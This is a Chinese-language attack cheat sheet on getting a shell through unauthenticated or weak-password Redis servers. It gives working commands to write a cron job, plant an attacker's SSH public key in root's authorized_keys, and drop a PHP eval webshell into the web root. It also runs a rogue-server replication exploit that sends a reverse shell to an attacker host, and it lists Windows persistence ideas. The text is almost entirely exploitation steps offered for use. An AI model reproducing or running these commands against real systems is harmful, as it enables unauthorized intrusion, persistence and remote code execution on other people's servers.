前言
redis未授权访问或弱密码,是常见的重要入口点之一,由于其可以写文件的特性,就产生了多种getshell的方式。
redis连接方式
下载需要的版本的redis-cli:
http://download.redis.io/releases/
安装使用:
1 | tar zxvf redis-x.x.x(版本).tar.gz |
写定时任务crontabs
1 | config set dir /var/spool/cron/crontabs |
写ssh公钥
本地生成公私钥对1
ssh-keygen -t rsa
连接redis,将刚才生成的公钥要在下面命令中使用1
2
3
4config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDUi1zueNmGKBCLMxRTHW5+VZ0Z0G5FjGapaV3NhzIcUQcHl+U9KkYoCIIXgXUrZc5xBBzaS+jdefiJobx2PXEKKssaGMBGFJ9vC+iRUYjoqCExzSXE6Lv52nqfp2JgKL2wu1yC/b5alIfVrj4N8PgDtLiEKz2DMwpXP8VPz0UUXpMgx4ASFnLYP5QB2mYY2LRvRkoydGnc61GAJiwCzSczx3kXCwAmZXGnS37892NKlFNshghqXsVhSnaHYHZNNtcRj2yD2poo0ZAHOJFT0TOcyj2HpMr821l6WxpjpeTAYnFeSAB8s9P9atC+RmyIZBg8w6cOpvL99Vf+LpcnRld4aDHZ4dKeXQjntQVdBtObqtaUen64cTpLvq+mYbBsoprRgyaHI+7NPWNm4HxkGzl3rYK3ujnbAmy2iwu4J9Skil4v5bL+i1lMWQovBU03AxOztx2MA7jUmyciKT+fp6pszWqN8okmQs78Cujp9IFJYgd6NfH3IjTBmaogkvnDEH8= root@kali\n\n\n"
save
写webshell
根据实际情况寻找web路径,写webshell并访问1
2
3
4config set dir /var/www/html
config set dbfilename shell.php
set xx "<?php @eval($_POST['cmd']);?>"
save
主从复制
redis主从复制漏洞无需目标root权限启动redis,可以反弹一个redis权限的shell1
2git clone https://github.com/n0b0dyCN/redis-rogue-server.git
./redis-rogue-server.py --rhost 172.18.2.177 --lhost 170.170.64.14
windows下思路
写入webshell
写入启动项
Windows2003写入MOF